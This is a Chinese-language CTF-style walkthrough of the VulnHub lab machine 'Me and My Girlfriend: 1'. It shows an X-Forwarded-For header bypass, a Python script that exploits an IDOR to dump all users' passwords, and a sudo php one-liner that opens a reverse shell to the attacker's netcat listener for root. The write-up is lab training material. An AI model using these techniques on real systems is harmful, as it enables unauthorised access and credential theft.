vulnhub靶机实战

1.靶机地址

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

2.先看描述(要求)

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

  • 通过这个我们可以知道我们需要找到alice隐藏的“东西”,说不定就是flag噢!!👀
  • 这是一个初级难度,我们的目标是拿到2个flag,在哪呢???自己找👀

3.主机,端口发现

在vmware或者vitrualbox中导入靶机并启动,会自动获取ip地址,页面如下

我们先看下当前网络内的存活主机都有哪些:

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

然后扫描靶机开放了哪些端口

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

我们可以看到开启了80端口和22端口,每个端口对应着开启的服务如下:

参考链接:https://blog.csdn.net/wangye1989_0226/article/details/72961400

开启了80端口说明开启了http服务,访问地址查看web服务

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

果不其然,发现请求被拒绝😅,提示我们只能通过本地去访问,我们查看源码发现让我们使用x-forwarded-for

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

我们抓包加入x-forwarded-for:127.0.0.1成功访问

GET / HTTP/1.1
Host: 192.168.33.65
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-forwarded-for:127.0.0.1
Upgrade-Insecure-Requests: 1

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

我们发现有注册登录框(注意后面每一个页面请求都需要加上本地访问噢!👀),我们注册一个账户并登陆发现有一个profile页面后面接了一个user_id的参数,页面直接显示出我们的用户名密码出来。

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

我们尝试修改user_id=1,发现显示了别人的信息,不妨写个脚本爆破一下所有的用户名密码瞅瞅🧐

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

python脚本:(python学的不精,大家可以参考参考自行写脚本爆破!👀)

import re
import requests

if __name__ == '__main__':
    for user_id in range(1,13):
        burp0_url = f"http://192.168.33.65:80/index.php?page=profile&user_id={user_id}"
        burp0_cookies = {"PHPSESSID": "ft21h9vkiehflhkv1qfago3c75"}
        burp0_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate", "Connection": "close", "x-forwarded-for": "127.0.0.1",
            "Upgrade-Insecure-Requests": "1"}
        requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
        r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
        username = re.findall(r'<input type="text" name="username" id="username" value="(.*?)">',r)
        passwd = re.findall(r'<input type="password" name="password" id="password" value="(.*?)">',r)

        if username[0]:
            print(username[0] + ":" + passwd[0])

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

还记得我们的描述吗?不记得就回去看看吧!我们发现了alice的账户密码,还记得上面开启了22端口吗?所以我们可以ssh连接上alice的账户。进去就是一顿ls😂,发现啥也没有,通过ls -al发现了什么,.my_secret,居然有秘密文件夹,打开看看👀

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

成功发现了第一个flag,还记得我们总共有两个flag,看到上面提示需要我们通过root权限获得另一个flag。

4.反弹shell提权

首先查看自己可以以root权限执行什么命令,发现自己是可以以root权限执行php命令的,而php又是可以执行本地命令的,所以就相当于alice可以执行root命令。

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

反弹shell:

  1. 首先在kali上面监听10086端口

    nc -lvp 10086
    
  2. 然后靶机上的alice创建一个php反弹shell去连接它

    sudo /usr/bin/php -r '$sock=fsockopen("192.168.33.136",10086);exec("/bin/bash -i <&3 >&3 2>&3");'
    

    返回kali这边已经登录进root了,进去之后照例一顿乱瞅😂,成功获得第二个flag!!!🥰

vulnhub靶机-Me and My Girlfriend: 1-LMLPHP


vulnhub靶机-Me and My Girlfriend: 1-LMLPHP

10-01 03:49